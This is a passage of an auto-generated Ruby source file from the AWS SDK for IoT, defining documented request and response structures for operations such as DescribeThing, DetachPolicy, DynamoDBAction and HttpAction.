:action_type, :action_arn, :action_id, :role_arn, :action_params, :creation_date, :last_modified_date) include Aws::Structure end # @note When making an API call, you may pass DescribeProvisioningTemplateRequest # data as a hash: # # { # template_name: "TemplateName", # required # } # # @!attribute [rw] template_name # The name of the fleet provisioning template. # @return [String] # class DescribeProvisioningTemplateRequest < Struct.new( :template_name) include Aws::Structure end # @!attribute [rw] template_arn # The ARN of the fleet provisioning template. # @return [String] # # @!attribute [rw] template_name # The name of the fleet provisioning template. # @return [String] # # @!attribute [rw] description # The description of the fleet provisioning template. # @return [String] # # @!attribute [rw] creation_date # The date when the fleet provisioning template was created. # @return [Time] # # @!attribute [rw] last_modified_date # The date when the fleet provisioning template was last modified. # @return [Time] # # @!attribute [rw] default_version_id # The default fleet template version ID. # @return [Integer] # # @!attribute [rw] template_body # The JSON formatted contents of the fleet provisioning template. # @return [String] # # @!attribute [rw] enabled # True if the fleet provisioning template is enabled, otherwise false. # @return [Boolean] # # @!attribute [rw] provisioning_role_arn # The ARN of the role associated with the provisioning template. This # IoT role grants permission to provision a device. # @return [String] # class DescribeProvisioningTemplateResponse < Struct.new( :template_arn, :template_name, :description, :creation_date, :last_modified_date, :default_version_id, :template_body, :enabled, :provisioning_role_arn) include Aws::Structure end # @note When making an API call, you may pass DescribeProvisioningTemplateVersionRequest # data as a hash: # # { # template_name: "TemplateName", # required # version_id: 1, # required # } # # @!attribute [rw] template_name # The template name. # @return [String] # # @!attribute [rw] version_id # The fleet provisioning template version ID. # @return [Integer] # class DescribeProvisioningTemplateVersionRequest < Struct.new( :template_name, :version_id) include Aws::Structure end # @!attribute [rw] version_id # The fleet provisioning template version ID. # @return [Integer] # # @!attribute [rw] creation_date # The date when the fleet provisioning template version was created. # @return [Time] # # @!attribute [rw] template_body # The JSON formatted contents of the fleet provisioning template # version. # @return [String] # # @!attribute [rw] is_default_version # True if the fleet provisioning template version is the default # version. # @return [Boolean] # class DescribeProvisioningTemplateVersionResponse < Struct.new( :version_id, :creation_date, :template_body, :is_default_version) include Aws::Structure end # @note When making an API call, you may pass DescribeRoleAliasRequest # data as a hash: # # { # role_alias: "RoleAlias", # required # } # # @!attribute [rw] role_alias # The role alias to describe. # @return [String] # class DescribeRoleAliasRequest < Struct.new( :role_alias) include Aws::Structure end # @!attribute [rw] role_alias_description # The role alias description. # @return [Types::RoleAliasDescription] # class DescribeRoleAliasResponse < Struct.new( :role_alias_description) include Aws::Structure end # @note When making an API call, you may pass DescribeScheduledAuditRequest # data as a hash: # # { # scheduled_audit_name: "ScheduledAuditName", # required # } # # @!attribute [rw] scheduled_audit_name # The name of the scheduled audit whose information you want to get. # @return [String] # class DescribeScheduledAuditRequest < Struct.new( :scheduled_audit_name) include Aws::Structure end # @!attribute [rw] frequency # How often the scheduled audit takes place. One of "DAILY", # "WEEKLY", "BIWEEKLY", or "MONTHLY". The start time of each # audit is determined by the system. # @return [String] # # @!attribute [rw] day_of_month # The day of the month on which the scheduled audit takes place. Will # be "1" through "31" or "LAST". If days 29-31 are specified, # and the month does not have that many days, the audit takes place on # the "LAST" day of the month. # @return [String] # # @!attribute [rw] day_of_week # The day of the week on which the scheduled audit takes place. One of # "SUN", "MON", "TUE", "WED", "THU", "FRI", or "SAT". # @return [String] # # @!attribute [rw] target_check_names # Which checks are performed during the scheduled audit. Checks must # be enabled for your account. (Use # `DescribeAccountAuditConfiguration` to see the list of all checks, # including those that are enabled or use # `UpdateAccountAuditConfiguration` to select which checks are # enabled.) # @return [Array<String>] # # @!attribute [rw] scheduled_audit_name # The name of the scheduled audit. # @return [String] # # @!attribute [rw] scheduled_audit_arn # The ARN of the scheduled audit. # @return [String] # class DescribeScheduledAuditResponse < Struct.new( :frequency, :day_of_month, :day_of_week, :target_check_names, :scheduled_audit_name, :scheduled_audit_arn) include Aws::Structure end # @note When making an API call, you may pass DescribeSecurityProfileRequest # data as a hash: # # { # security_profile_name: "SecurityProfileName", # required # } # # @!attribute [rw] security_profile_name # The name of the security profile whose information you want to get. # @return [String] # class DescribeSecurityProfileRequest < Struct.new( :security_profile_name) include Aws::Structure end # @!attribute [rw] security_profile_name # The name of the security profile. # @return [String] # # @!attribute [rw] security_profile_arn # The ARN of the security profile. # @return [String] # # @!attribute [rw] security_profile_description # A description of the security profile (associated with the security # profile when it was created or updated). # @return [String] # # @!attribute [rw] behaviors # Specifies the behaviors that, when violated by a device (thing), # cause an alert. # @return [Array<Types::Behavior>] # # @!attribute [rw] alert_targets # Where the alerts are sent. (Alerts are always sent to the console.) # @return [Hash<String,Types::AlertTarget>] # # @!attribute [rw] additional_metrics_to_retain # A list of metrics whose data is retained (stored). By default, data # is retained for any metric used in the profile's `behaviors`, but # it is also retained for any metric specified here. # @return [Array<String>] # # @!attribute [rw] version # The version of the security profile. A new version is generated # whenever the security profile is updated. # @return [Integer] # # @!attribute [rw] creation_date # The time the security profile was created. # @return [Time] # # @!attribute [rw] last_modified_date # The time the security profile was last modified. # @return [Time] # class DescribeSecurityProfileResponse < Struct.new( :security_profile_name, :security_profile_arn, :security_profile_description, :behaviors, :alert_targets, :additional_metrics_to_retain, :version, :creation_date, :last_modified_date) include Aws::Structure end # @note When making an API call, you may pass DescribeStreamRequest # data as a hash: # # { # stream_id: "StreamId", # required # } # # @!attribute [rw] stream_id # The stream ID. # @return [String] # class DescribeStreamRequest < Struct.new( :stream_id) include Aws::Structure end # @!attribute [rw] stream_info # Information about the stream. # @return [Types::StreamInfo] # class DescribeStreamResponse < Struct.new( :stream_info) include Aws::Structure end # @note When making an API call, you may pass DescribeThingGroupRequest # data as a hash: # # { # thing_group_name: "ThingGroupName", # required # } # # @!attribute [rw] thing_group_name # The name of the thing group. # @return [String] # class DescribeThingGroupRequest < Struct.new( :thing_group_name) include Aws::Structure end # @!attribute [rw] thing_group_name # The name of the thing group. # @return [String] # # @!attribute [rw] thing_group_id # The thing group ID. # @return [String] # # @!attribute [rw] thing_group_arn # The thing group ARN. # @return [String] # # @!attribute [rw] version # The version of the thing group. # @return [Integer] # # @!attribute [rw] thing_group_properties # The thing group properties. # @return [Types::ThingGroupProperties] # # @!attribute [rw] thing_group_metadata # Thing group metadata. # @return [Types::ThingGroupMetadata] # # @!attribute [rw] index_name # The dynamic thing group index name. # @return [String] # # @!attribute [rw] query_string # The dynamic thing group search query string. # @return [String] # # @!attribute [rw] query_version # The dynamic thing group query version. # @return [String] # # @!attribute [rw] status # The dynamic thing group status. # @return [String] # class DescribeThingGroupResponse < Struct.new( :thing_group_name, :thing_group_id, :thing_group_arn, :version, :thing_group_properties, :thing_group_metadata, :index_name, :query_string, :query_version, :status) include Aws::Structure end # @note When making an API call, you may pass DescribeThingRegistrationTaskRequest # data as a hash: # # { # task_id: "TaskId", # required # } # # @!attribute [rw] task_id # The task ID. # @return [String] # class DescribeThingRegistrationTaskRequest < Struct.new( :task_id) include Aws::Structure end # @!attribute [rw] task_id # The task ID. # @return [String] # # @!attribute [rw] creation_date # The task creation date. # @return [Time] # # @!attribute [rw] last_modified_date # The date when the task was last modified. # @return [Time] # # @!attribute [rw] template_body # The task's template. # @return [String] # # @!attribute [rw] input_file_bucket # The S3 bucket that contains the input file. # @return [String] # # @!attribute [rw] input_file_key # The input file key. # @return [String] # # @!attribute [rw] role_arn # The role ARN that grants access to the input file bucket. # @return [String] # # @!attribute [rw] status # The status of the bulk thing provisioning task. # @return [String] # # @!attribute [rw] message # The message. # @return [String] # # @!attribute [rw] success_count # The number of things successfully provisioned. # @return [Integer] # # @!attribute [rw] failure_count # The number of things that failed to be provisioned. # @return [Integer] # # @!attribute [rw] percentage_progress # The progress of the bulk provisioning task expressed as a # percentage. # @return [Integer] # class DescribeThingRegistrationTaskResponse < Struct.new( :task_id, :creation_date, :last_modified_date, :template_body, :input_file_bucket, :input_file_key, :role_arn, :status, :message, :success_count, :failure_count, :percentage_progress) include Aws::Structure end # The input for the DescribeThing operation. # # @note When making an API call, you may pass DescribeThingRequest # data as a hash: # # { # thing_name: "ThingName", # required # } # # @!attribute [rw] thing_name # The name of the thing. # @return [String] # class DescribeThingRequest < Struct.new( :thing_name) include Aws::Structure end # The output from the DescribeThing operation. # # @!attribute [rw] default_client_id # The default client ID. # @return [String] # # @!attribute [rw] thing_name # The name of the thing. # @return [String] # # @!attribute [rw] thing_id # The ID of the thing to describe. # @return [String] # # @!attribute [rw] thing_arn # The ARN of the thing to describe. # @return [String] # # @!attribute [rw] thing_type_name # The thing type name. # @return [String] # # @!attribute [rw] attributes # The thing attributes. # @return [Hash<String,String>] # # @!attribute [rw] version # The current version of the thing record in the registry. # # <note markdown="1"> To avoid unintentional changes to the information in the registry, # you can pass the version information in the `expectedVersion` # parameter of the `UpdateThing` and `DeleteThing` calls. # # </note> # @return [Integer] # # @!attribute [rw] billing_group_name # The name of the billing group the thing belongs to. # @return [String] # class DescribeThingResponse < Struct.new( :default_client_id, :thing_name, :thing_id, :thing_arn, :thing_type_name, :attributes, :version, :billing_group_name) include Aws::Structure end # The input for the DescribeThingType operation. # # @note When making an API call, you may pass DescribeThingTypeRequest # data as a hash: # # { # thing_type_name: "ThingTypeName", # required # } # # @!attribute [rw] thing_type_name # The name of the thing type. # @return [String] # class DescribeThingTypeRequest < Struct.new( :thing_type_name) include Aws::Structure end # The output for the DescribeThingType operation. # # @!attribute [rw] thing_type_name # The name of the thing type. # @return [String] # # @!attribute [rw] thing_type_id # The thing type ID. # @return [String] # # @!attribute [rw] thing_type_arn # The thing type ARN. # @return [String] # # @!attribute [rw] thing_type_properties # The ThingTypeProperties contains information about the thing type # including description, and a list of searchable thing attribute # names. # @return [Types::ThingTypeProperties] # # @!attribute [rw] thing_type_metadata # The ThingTypeMetadata contains additional information about the # thing type including: creation date and time, a value indicating # whether the thing type is deprecated, and a date and time when it # was deprecated. # @return [Types::ThingTypeMetadata] # class DescribeThingTypeResponse < Struct.new( :thing_type_name, :thing_type_id, :thing_type_arn, :thing_type_properties, :thing_type_metadata) include Aws::Structure end # Describes the location of the updated firmware. # # @note When making an API call, you may pass Destination # data as a hash: # # { # s3_destination: { # bucket: "S3Bucket", # prefix: "Prefix", # }, # } # # @!attribute [rw] s3_destination # Describes the location in S3 of the updated firmware. # @return [Types::S3Destination] # class Destination < Struct.new( :s3_destination) include Aws::Structure end # @note When making an API call, you may pass DetachPolicyRequest # data as a hash: # # { # policy_name: "PolicyName", # required # target: "PolicyTarget", # required # } # # @!attribute [rw] policy_name # The policy to detach. # @return [String] # # @!attribute [rw] target # The target from which the policy will be detached. # @return [String] # class DetachPolicyRequest < Struct.new( :policy_name, :target) include Aws::Structure end # The input for the DetachPrincipalPolicy operation. # # @note When making an API call, you may pass DetachPrincipalPolicyRequest # data as a hash: # # { # policy_name: "PolicyName", # required # principal: "Principal", # required # } # # @!attribute [rw] policy_name # The name of the policy to detach. # @return [String] # # @!attribute [rw] principal # The principal. # # If the principal is a certificate, specify the certificate ARN. If # the principal is an Amazon Cognito identity, specify the identity # ID. # @return [String] # class DetachPrincipalPolicyRequest < Struct.new( :policy_name, :principal) include Aws::Structure end # @note When making an API call, you may pass DetachSecurityProfileRequest # data as a hash: # # { # security_profile_name: "SecurityProfileName", # required # security_profile_target_arn: "SecurityProfileTargetArn", # required # } # # @!attribute [rw] security_profile_name # The security profile that is detached. # @return [String] # # @!attribute [rw] security_profile_target_arn # The ARN of the thing group from which the security profile is # detached. # @return [String] # class DetachSecurityProfileRequest < Struct.new( :security_profile_name, :security_profile_target_arn) include Aws::Structure end class DetachSecurityProfileResponse < Aws::EmptyStructure; end # The input for the DetachThingPrincipal operation. # # @note When making an API call, you may pass DetachThingPrincipalRequest # data as a hash: # # { # thing_name: "ThingName", # required # principal: "Principal", # required # } # # @!attribute [rw] thing_name # The name of the thing. # @return [String] # # @!attribute [rw] principal # If the principal is a certificate, this value must be ARN of the # certificate. If the principal is an Amazon Cognito identity, this # value must be the ID of the Amazon Cognito identity. # @return [String] # class DetachThingPrincipalRequest < Struct.new( :thing_name, :principal) include Aws::Structure end # The output from the DetachThingPrincipal operation. # class DetachThingPrincipalResponse < Aws::EmptyStructure; end # The input for the DisableTopicRuleRequest operation. # # @note When making an API call, you may pass DisableTopicRuleRequest # data as a hash: # # { # rule_name: "RuleName", # required # } # # @!attribute [rw] rule_name # The name of the rule to disable. # @return [String] # class DisableTopicRuleRequest < Struct.new( :rule_name) include Aws::Structure end # The summary of a domain configuration. A domain configuration # specifies custom IoT-specific information about a domain. A domain # configuration can be associated with an AWS-managed domain (for # example, dbc123defghijk.iot.us-west-2.amazonaws.com), a customer # managed domain, or a default endpoint. # # * Data # # * Jobs # # * CredentialProvider # # <note markdown="1"> The domain configuration feature is in public preview and is subject # to change. # # </note> # # @!attribute [rw] domain_configuration_name # The name of the domain configuration. This value must be unique to a # region. # @return [String] # # @!attribute [rw] domain_configuration_arn # The ARN of the domain configuration. # @return [String] # # @!attribute [rw] service_type # The type of service delivered by the endpoint. # @return [String] # class DomainConfigurationSummary < Struct.new( :domain_configuration_name, :domain_configuration_arn, :service_type) include Aws::Structure end # Describes an action to write to a DynamoDB table. # # The `tableName`, `hashKeyField`, and `rangeKeyField` values must match # the values used when you created the table. # # The `hashKeyValue` and `rangeKeyvalue` fields use a substitution # template syntax. These templates provide data at runtime. The syntax # is as follows: $\\\{*sql-expression*\\}. # # You can specify any valid expression in a WHERE or SELECT clause, # including JSON properties, comparisons, calculations, and functions. # For example, the following field uses the third level of the topic: # # `"hashKeyValue": "$\{topic(3)\}"` # # The following field uses the timestamp: # # `"rangeKeyValue": "$\{timestamp()\}"` # # @note When making an API call, you may pass DynamoDBAction # data as a hash: # # { # table_name: "TableName", # required # role_arn: "AwsArn", # required # operation: "DynamoOperation", # hash_key_field: "HashKeyField", # required # hash_key_value: "HashKeyValue", # required # hash_key_type: "STRING", # accepts STRING, NUMBER # range_key_field: "RangeKeyField", # range_key_value: "RangeKeyValue", # range_key_type: "STRING", # accepts STRING, NUMBER # payload_field: "PayloadField", # } # # @!attribute [rw] table_name # The name of the DynamoDB table. # @return [String] # # @!attribute [rw] role_arn # The ARN of the IAM role that grants access to the DynamoDB table. # @return [String] # # @!attribute [rw] operation # The type of operation to be performed. This follows the substitution # template, so it can be `$\{operation\}`, but the substitution must # result in one of the following: `INSERT`, `UPDATE`, or `DELETE`. # @return [String] # # @!attribute [rw] hash_key_field # The hash key name. # @return [String] # # @!attribute [rw] hash_key_value # The hash key value. # @return [String] # # @!attribute [rw] hash_key_type # The hash key type. Valid values are "STRING" or "NUMBER" # @return [String] # # @!attribute [rw] range_key_field # The range key name. # @return [String] # # @!attribute [rw] range_key_value # The range key value. # @return [String] # # @!attribute [rw] range_key_type # The range key type. Valid values are "STRING" or "NUMBER" # @return [String] # # @!attribute [rw] payload_field # The action payload. This name can be customized. # @return [String] # class DynamoDBAction < Struct.new( :table_name, :role_arn, :operation, :hash_key_field, :hash_key_value, :hash_key_type, :range_key_field, :range_key_value, :range_key_type, :payload_field) include Aws::Structure end # Describes an action to write to a DynamoDB table. # # This DynamoDB action writes each attribute in the message payload into # it's own column in the DynamoDB table. # # @note When making an API call, you may pass DynamoDBv2Action # data as a hash: # # { # role_arn: "AwsArn", # required # put_item: { # required # table_name: "TableName", # required # }, # } # # @!attribute [rw] role_arn # The ARN of the IAM role that grants access to the DynamoDB table. # @return [String] # # @!attribute [rw] put_item # Specifies the DynamoDB table to which the message data will be # written. For example: # # `\{ "dynamoDBv2": \{ "roleArn": "aws:iam:12341251:my-role" # "putItem": \{ "tableName": "my-table" \} \} \}` # # Each attribute in the message payload will be written to a separate # column in the DynamoDB database. # @return [Types::PutItemInput] # class DynamoDBv2Action < Struct.new( :role_arn, :put_item) include Aws::Structure end # The policy that has the effect on the authorization results. # # @!attribute [rw] policy_name # The policy name. # @return [String] # # @!attribute [rw] policy_arn # The policy ARN. # @return [String] # # @!attribute [rw] policy_document # The IAM policy document. # @return [String] # class EffectivePolicy < Struct.new( :policy_name, :policy_arn, :policy_document) include Aws::Structure end # Describes an action that writes data to an Amazon Elasticsearch # Service domain. # # @note When making an API call, you may pass ElasticsearchAction # data as a hash: # # { # role_arn: "AwsArn", # required # endpoint: "ElasticsearchEndpoint", # required # index: "ElasticsearchIndex", # required # type: "ElasticsearchType", # required # id: "ElasticsearchId", # required # } # # @!attribute [rw] role_arn # The IAM role ARN that has access to Elasticsearch. # @return [String] # # @!attribute [rw] endpoint # The endpoint of your Elasticsearch domain. # @return [String] # # @!attribute [rw] index # The Elasticsearch index where you want to store your data. # @return [String] # # @!attribute [rw] type # The type of document you are storing. # @return [String] # # @!attribute [rw] id # The unique identifier for the document you are storing. # @return [String] # class ElasticsearchAction < Struct.new( :role_arn, :endpoint, :index, :type, :id) include Aws::Structure end # Parameters used when defining a mitigation action that enable AWS IoT # logging. # # @note When making an API call, you may pass EnableIoTLoggingParams # data as a hash: # # { # role_arn_for_logging: "RoleArn", # required # log_level: "DEBUG", # required, accepts DEBUG, INFO, ERROR, WARN, DISABLED # } # # @!attribute [rw] role_arn_for_logging # The ARN of the IAM role used for logging. # @return [String] # # @!attribute [rw] log_level # Specifies the types of information to be logged. # @return [String] # class EnableIoTLoggingParams < Struct.new( :role_arn_for_logging, :log_level) include Aws::Structure end # The input for the EnableTopicRuleRequest operation. # # @note When making an API call, you may pass EnableTopicRuleRequest # data as a hash: # # { # rule_name: "RuleName", # required # } # # @!attribute [rw] rule_name # The name of the topic rule to enable. # @return [String] # class EnableTopicRuleRequest < Struct.new( :rule_name) include Aws::Structure end # Error information. # # @!attribute [rw] code # The error code. # @return [String] # # @!attribute [rw] message # The error message. # @return [String] # class ErrorInfo < Struct.new( :code, :message) include Aws::Structure end # Information that explicitly denies authorization. # # @!attribute [rw] policies # The policies that denied the authorization. # @return [Array<Types::Policy>] # class ExplicitDeny < Struct.new( :policies) include Aws::Structure end # Allows you to create an exponential rate of rollout for a job. # # @note When making an API call, you may pass ExponentialRolloutRate # data as a hash: # # { # base_rate_per_minute: 1, # required # increment_factor: 1.0, # required # rate_increase_criteria: { # required # number_of_notified_things: 1, # number_of_succeeded_things: 1, # }, # } # # @!attribute [rw] base_rate_per_minute # The minimum number of things that will be notified of a pending job, # per minute at the start of job rollout. This parameter allows you to # define the initial rate of rollout. # @return [Integer] # # @!attribute [rw] increment_factor # The exponential factor to increase the rate of rollout for a job. # @return [Float] # # @!attribute [rw] rate_increase_criteria # The criteria to initiate the increase in rate of rollout for a job. # # AWS IoT supports up to one digit after the decimal (for example, # 1.5, but not 1.55). # @return [Types::RateIncreaseCriteria] # class ExponentialRolloutRate < Struct.new( :base_rate_per_minute, :increment_factor, :rate_increase_criteria) include Aws::Structure end # Describes the name and data type at a field. # # @note When making an API call, you may pass Field # data as a hash: # # { # name: "FieldName", # type: "Number", # accepts Number, String, Boolean # } # # @!attribute [rw] name # The name of the field. # @return [String] # # @!attribute [rw] type # The datatype of the field. # @return [String] # class Field < Struct.new( :name, :type) include Aws::Structure end # The location of the OTA update. # # @note When making an API call, you may pass FileLocation # data as a hash: # # { # stream: { # stream_id: "StreamId", # file_id: 1, # }, # s3_location: { # bucket: "S3Bucket", # key: "S3Key", # version: "S3Version", # }, # } # # @!attribute [rw] stream # The stream that contains the OTA update. # @return [Types::Stream] # # @!attribute [rw] s3_location # The location of the updated firmware in S3. # @return [Types::S3Location] # class FileLocation < Struct.new( :stream, :s3_location) include Aws::Structure end # Describes an action that writes data to an Amazon Kinesis Firehose # stream. # # @note When making an API call, you may pass FirehoseAction # data as a hash: # # { # role_arn: "AwsArn", # required # delivery_stream_name: "DeliveryStreamName", # required # separator: "FirehoseSeparator", # } # # @!attribute [rw] role_arn # The IAM role that grants access to the Amazon Kinesis Firehose # stream. # @return [String] # # @!attribute [rw] delivery_stream_name # The delivery stream name. # @return [String] # # @!attribute [rw] separator # A character separator that will be used to separate records written # to the Firehose stream. Valid values are: '\\n' (newline), '\\t' # (tab), '\\r\\n' (Windows newline), ',' (comma). # @return [String] # class FirehoseAction < Struct.new( :role_arn, :delivery_stream_name, :separator) include Aws::Structure end # @note When making an API call, you may pass GetCardinalityRequest # data as a hash: # # { # index_name: "IndexName", # query_string: "QueryString", # required # aggregation_field: "AggregationField", # query_version: "QueryVersion", # } # # @!attribute [rw] index_name # The name of the index to search. # @return [String] # # @!attribute [rw] query_string # The search query. # @return [String] # # @!attribute [rw] aggregation_field # The field to aggregate. # @return [String] # # @!attribute [rw] query_version # The query version. # @return [String] # class GetCardinalityRequest < Struct.new( :index_name, :query_string, :aggregation_field, :query_version) include Aws::Structure end # @!attribute [rw] cardinality # The approximate count of unique values that match the query. # @return [Integer] # class GetCardinalityResponse < Struct.new( :cardinality) include Aws::Structure end # @note When making an API call, you may pass GetEffectivePoliciesRequest # data as a hash: # # { # principal: "Principal", # cognito_identity_pool_id: "CognitoIdentityPoolId", # thing_name: "ThingName", # } # # @!attribute [rw] principal # The principal. # @return [String] # # @!attribute [rw] cognito_identity_pool_id # The Cognito identity pool ID. # @return [String] # # @!attribute [rw] thing_name # The thing name. # @return [String] # class GetEffectivePoliciesRequest < Struct.new( :principal, :cognito_identity_pool_id, :thing_name) include Aws::Structure end # @!attribute [rw] effective_policies # The effective policies. # @return [Array<Types::EffectivePolicy>] # class GetEffectivePoliciesResponse < Struct.new( :effective_policies) include Aws::Structure end # @api private # class GetIndexingConfigurationRequest < Aws::EmptyStructure; end # @!attribute [rw] thing_indexing_configuration # Thing indexing configuration. # @return [Types::ThingIndexingConfiguration] # # @!attribute [rw] thing_group_indexing_configuration # The index configuration. # @return [Types::ThingGroupIndexingConfiguration] # class GetIndexingConfigurationResponse < Struct.new( :thing_indexing_configuration, :thing_group_indexing_configuration) include Aws::Structure end # @note When making an API call, you may pass GetJobDocumentRequest # data as a hash: # # { # job_id: "JobId", # required # } # # @!attribute [rw] job_id # The unique identifier you assigned to this job when it was created. # @return [String] # class GetJobDocumentRequest < Struct.new( :job_id) include Aws::Structure end # @!attribute [rw] document # The job document content. # @return [String] # class GetJobDocumentResponse < Struct.new( :document) include Aws::Structure end # The input for the GetLoggingOptions operation. # # @api private # class GetLoggingOptionsRequest < Aws::EmptyStructure; end # The output from the GetLoggingOptions operation. # # @!attribute [rw] role_arn # The ARN of the IAM role that grants access. # @return [String] # # @!attribute [rw] log_level # The logging level. # @return [String] # class GetLoggingOptionsResponse < Struct.new( :role_arn, :log_level) include Aws::Structure end # @note When making an API call, you may pass GetOTAUpdateRequest # data as a hash: # # { # ota_update_id: "OTAUpdateId", # required # } # # @!attribute [rw] ota_update_id # The OTA update ID. # @return [String] # class GetOTAUpdateRequest < Struct.new( :ota_update_id) include Aws::Structure end # @!attribute [rw] ota_update_info # The OTA update info. # @return [Types::OTAUpdateInfo] # class GetOTAUpdateResponse < Struct.new( :ota_update_info) include Aws::Structure end # @note When making an API call, you may pass GetPercentilesRequest # data as a hash: # # { # index_name: "IndexName", # query_string: "QueryString", # required # aggregation_field: "AggregationField", # query_version: "QueryVersion", # percents: [1.0], # } # # @!attribute [rw] index_name # The name of the index to search. # @return [String] # # @!attribute [rw] query_string # The query string. # @return [String] # # @!attribute [rw] aggregation_field # The field to aggregate. # @return [String] # # @!attribute [rw] query_version # The query version. # @return [String] # # @!attribute [rw] percents # The percentile groups returned. # @return [Array<Float>] # class GetPercentilesRequest < Struct.new( :index_name, :query_string, :aggregation_field, :query_version, :percents) include Aws::Structure end # @!attribute [rw] percentiles # The percentile values of the aggregated fields. # @return [Array<Types::PercentPair>] # class GetPercentilesResponse < Struct.new( :percentiles) include Aws::Structure end # The input for the GetPolicy operation. # # @note When making an API call, you may pass GetPolicyRequest # data as a hash: # # { # policy_name: "PolicyName", # required # } # # @!attribute [rw] policy_name # The name of the policy. # @return [String] # class GetPolicyRequest < Struct.new( :policy_name) include Aws::Structure end # The output from the GetPolicy operation. # # @!attribute [rw] policy_name # The policy name. # @return [String] # # @!attribute [rw] policy_arn # The policy ARN. # @return [String] # # @!attribute [rw] policy_document # The JSON document that describes the policy. # @return [String] # # @!attribute [rw] default_version_id # The default policy version ID. # @return [String] # # @!attribute [rw] creation_date # The date the policy was created. # @return [Time] # # @!attribute [rw] last_modified_date # The date the policy was last modified. # @return [Time] # # @!attribute [rw] generation_id # The generation ID of the policy. # @return [String] # class GetPolicyResponse < Struct.new( :policy_name, :policy_arn, :policy_document, :default_version_id, :creation_date, :last_modified_date, :generation_id) include Aws::Structure end # The input for the GetPolicyVersion operation. # # @note When making an API call, you may pass GetPolicyVersionRequest # data as a hash: # # { # policy_name: "PolicyName", # required # policy_version_id: "PolicyVersionId", # required # } # # @!attribute [rw] policy_name # The name of the policy. # @return [String] # # @!attribute [rw] policy_version_id # The policy version ID. # @return [String] # class GetPolicyVersionRequest < Struct.new( :policy_name, :policy_version_id) include Aws::Structure end # The output from the GetPolicyVersion operation. # # @!attribute [rw] policy_arn # The policy ARN. # @return [String] # # @!attribute [rw] policy_name # The policy name. # @return [String] # # @!attribute [rw] policy_document # The JSON document that describes the policy. # @return [String] # # @!attribute [rw] policy_version_id # The policy version ID. # @return [String] # # @!attribute [rw] is_default_version # Specifies whether the policy version is the default. # @return [Boolean] # # @!attribute [rw] creation_date # The date the policy was created. # @return [Time] # # @!attribute [rw] last_modified_date # The date the policy was last modified. # @return [Time] # # @!attribute [rw] generation_id # The generation ID of the policy version. # @return [String] # class GetPolicyVersionResponse < Struct.new( :policy_arn, :policy_name, :policy_document, :policy_version_id, :is_default_version, :creation_date, :last_modified_date, :generation_id) include Aws::Structure end # The input to the GetRegistrationCode operation. # # @api private # class GetRegistrationCodeRequest < Aws::EmptyStructure; end # The output from the GetRegistrationCode operation. # # @!attribute [rw] registration_code # The CA certificate registration code. # @return [String] # class GetRegistrationCodeResponse < Struct.new( :registration_code) include Aws::Structure end # @note When making an API call, you may pass GetStatisticsRequest # data as a hash: # # { # index_name: "IndexName", # query_string: "QueryString", # required # aggregation_field: "AggregationField", # query_version: "QueryVersion", # } # # @!attribute [rw] index_name # The name of the index to search. The default value is `AWS_Things`. # @return [String] # # @!attribute [rw] query_string # The query used to search. You can specify "*" for the query # string to get the count of all indexed things in your AWS account. # @return [String] # # @!attribute [rw] aggregation_field # The aggregation field name. # @return [String] # # @!attribute [rw] query_version # The version of the query used to search. # @return [String] # class GetStatisticsRequest < Struct.new( :index_name, :query_string, :aggregation_field, :query_version) include Aws::Structure end # @!attribute [rw] statistics # The statistics returned by the Fleet Indexing service based on the # query and aggregation field. # @return [Types::Statistics] # class GetStatisticsResponse < Struct.new( :statistics) include Aws::Structure end # @note When making an API call, you may pass GetTopicRuleDestinationRequest # data as a hash: # # { # arn: "AwsArn", # required # } # # @!attribute [rw] arn # The ARN of the topic rule destination. # @return [String] # class GetTopicRuleDestinationRequest < Struct.new( :arn) include Aws::Structure end # @!attribute [rw] topic_rule_destination # The topic rule destination. # @return [Types::TopicRuleDestination] # class GetTopicRuleDestinationResponse < Struct.new( :topic_rule_destination) include Aws::Structure end # The input for the GetTopicRule operation. # # @note When making an API call, you may pass GetTopicRuleRequest # data as a hash: # # { # rule_name: "RuleName", # required # } # # @!attribute [rw] rule_name # The name of the rule. # @return [String] # class GetTopicRuleRequest < Struct.new( :rule_name) include Aws::Structure end # The output from the GetTopicRule operation. # # @!attribute [rw] rule_arn # The rule ARN. # @return [String] # # @!attribute [rw] rule # The rule. # @return [Types::TopicRule] # class GetTopicRuleResponse < Struct.new( :rule_arn, :rule) include Aws::Structure end # @api private # class GetV2LoggingOptionsRequest < Aws::EmptyStructure; end # @!attribute [rw] role_arn # The IAM role ARN AWS IoT uses to write to your CloudWatch logs. # @return [String] # # @!attribute [rw] default_log_level # The default log level. # @return [String] # # @!attribute [rw] disable_all_logs # Disables all logs. # @return [Boolean] # class GetV2LoggingOptionsResponse < Struct.new( :role_arn, :default_log_level, :disable_all_logs) include Aws::Structure end # The name and ARN of a group. # # @!attribute [rw] group_name # The group name. # @return [String] # # @!attribute [rw] group_arn # The group ARN. # @return [String] # class GroupNameAndArn < Struct.new( :group_name, :group_arn) include Aws::Structure end # Send data to an HTTPS endpoint. # # @note When making an API call, you may pass HttpAction # data as a hash: # # { # url: "Url", # required # confirmation_url: "Url", # headers: [ # { # key: "HeaderKey", # required # value: "HeaderValue", # required # }, # ], # auth: { # sigv4: { # signing_region: "SigningRegion", # required # service_name: "ServiceName", # required # role_arn: "AwsArn", # required # }, # }, # } # # @!attribute [rw] url # The endpoint URL. If substitution templates are used in the URL, you # must also specify a `confirmationUrl`. If this is a new destination, # a new `TopicRuleDestination` is created if possible. # @return [String] # # @!attribute [rw] confirmation_url # The URL to which AWS IoT sends a confirmation message. The value of # the confirmation URL must be a prefix of the endpoint URL. If you do # not specify a confirmation URL AWS IoT uses the endpoint URL as the # confirmation URL. If you use substitution templates in the # confirmationUrl, you must create and enable topic rule destinations # that match each possible value of the substituion template before # traffic is allowed to your endpoint URL. # @return [String] # # @!attribute [rw] headers # The HTTP headers to send with the message data. # @return [Array<Types::HttpActionHeader>] # # @!attribute [rw] auth # The authentication method to use when sending data to an HTTPS # endpoint. # @return [Types::HttpAuthorization] # class HttpAction < Struct.new( :url, :confirmation_url, :headers, :auth) include Aws::Structure end # The HTTP action header. # # @note When making an API call, you may pass HttpActionHeader # data as a hash: # # { # key: "HeaderKey", # required # value: "HeaderValue", # required # } # # @!attribute [rw] key # The HTTP header key. # @return [String] # # @!attribute [rw] value # The HTTP header value. Substitution templates are supported. # @return [String] # class HttpActionHeader < Struct.new( :key, :value) include Aws::Structure end # The authorization method used to send messages. # # @note When making an API call, you may pass HttpAuthorization # data as a hash: # # { # sigv4: { # signing_region: "SigningRegion", # required # service_name: "ServiceName", # required # role_arn: "AwsArn", # required # }, # } # # @!attribute 